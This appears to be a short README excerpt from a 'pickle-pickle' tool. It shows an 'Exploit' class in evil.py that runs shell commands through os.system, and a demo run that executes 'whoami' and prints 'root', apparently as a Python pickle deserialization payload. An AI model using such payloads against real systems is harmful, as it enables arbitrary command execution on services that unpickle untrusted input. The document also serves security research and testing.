WangYihang/pickle-pickle

# cat evil.py
#!/usr/bin/env python
# encoding:utf-8

class Exploit():
    def __init__(self, command):
        self.command = command
    
    def run(self):
        import os
        return os.system(self.command)

print(Exploit("whoami").run())

# python pickle-pickle.py
Usage:
        python ./pickle-pickle.py [FILENAME]

# python pickle-pickle.py evil.py
root